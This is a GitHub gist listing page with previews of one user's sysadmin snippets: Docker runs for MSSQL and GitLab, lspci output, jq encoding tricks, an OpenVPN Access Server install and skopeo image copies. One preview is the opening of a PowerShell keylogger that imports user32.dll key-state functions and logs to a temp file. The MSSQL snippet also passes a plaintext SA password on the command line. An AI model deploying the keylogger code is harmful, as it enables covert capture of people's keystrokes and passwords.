Skip to content

Instantly share code, notes, and snippets.

View dasgoll's full-sized avatar

dasgoll

  • Amman, Jordan
View GitHub Profile
@dasgoll
dasgoll / gist:8e400393bfb3d03d2ef8805769bda53d
Created April 22, 2024 07:46
Run mssql server as a docker container
docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=Str0ngPa$$w0rd' -p 1433:1433 -d mcr.microsoft.com/mssql/server
sqlcmd -S localhost -U sa -P 'Str0ngPa$$w0rd'
@dasgoll
dasgoll / gist:6cbc995f49adb2e901d24b0360a8ac03
Created April 7, 2024 05:59
lspci example find more info
root@sosbllxg08 # lspci | grep -i broad
03:00.0 PCI bridge: Broadcom EPB PCI-Express to PCI-X Bridge (rev c3)
04:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5708S
Gigabit Ethernet (rev 12)
05:00.0 PCI bridge: Broadcom EPB PCI-Express to PCI-X Bridge (rev c3)
06:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5708S
Gigabit Ethernet (rev 12)
root@sosbllxg08 # lspci -vn -s 04:00.0
04:00.0 0200: 14e4:16ac (rev 12)
[root@goll tmp]# vagrant box add centos65golll package.box
==> box: Adding box 'centos65golll' (v0) for provider:
box: Downloading: file:///root/tmp/package.box
==> box: Successfully added box 'centos65golll' (v0) for 'virtualbox'!
[root@goll tmp]# vagrant box list
centos65 (virtualbox, 0)
centos65golll (virtualbox, 0)
@dasgoll
dasgoll / gist:7b1a796d6e42cb66508bc504bb518f82
Created October 19, 2017 19:41
timeout command on MacOS
brew install coreutils
sudo ln -s /usr/local/bin/gtimeout /usr/local/bin/timeout
@dasgoll
dasgoll / gist:958b2098ffe3d1b10c43814598f4ef0f
Created January 4, 2024 21:17
Use jq to urlencode a string
jq -rn --arg x 'café' '$x|@uri'
@dasgoll
dasgoll / gist:98fea9f5e1ce4843f0a322c4238f5a03
Last active January 1, 2024 23:03
Install OpenVPN Access Server (OpenVPN AS)
### Ubuntu Xexial Xerus 16.04
wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-Ubuntu16.amd_64.deb
passwd passwd openvpn
Admin UI: https://publicIPaddress:943/admin
Client UI: https://publicIPaddress:943/
go to Server Network Settings -> Hostname or IP Address:
change it from private IP to public IP
@dasgoll
dasgoll / gist:e80336eaa819c87dffb095a6d66836de
Created December 25, 2023 04:19
use jq to escape json
echo '{"foo": 0}' > foo.json
jq @json < foo.json
skopeo copy docker://nginx:1.16 docker://harbor.example.com/jay-test/nginx:1.16
skopeo copy docker://harbor.example.com/jay-test/nginx:1.25.3-alpine docker://registry.gitlab.com/dasgoll/myrepo/nginx:1.25
skopeo copy docker://651234438355.dkr.ecr.eu-central-1.amazonaws.com/keycloak:21.1210-1223 docker://61234392635.dkr.ecr.me-south-1.amazonaws.com/keycloak:21.1210-1223
@dasgoll
dasgoll / gist:7ca1c059dd3b3fbc7277
Created December 11, 2015 16:44
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
@dasgoll
dasgoll / gist:04b59a077a1834b61cf179aeab513ae1
Last active December 12, 2023 07:26
install gitlab as a docker container
export GITLAB_HOME=~/gitlab
mkdir $GITLAB_HOME
docker run --detach \
--hostname gitlab.local.gd \
--publish 8080:80 \
--name gitlab \
--restart always \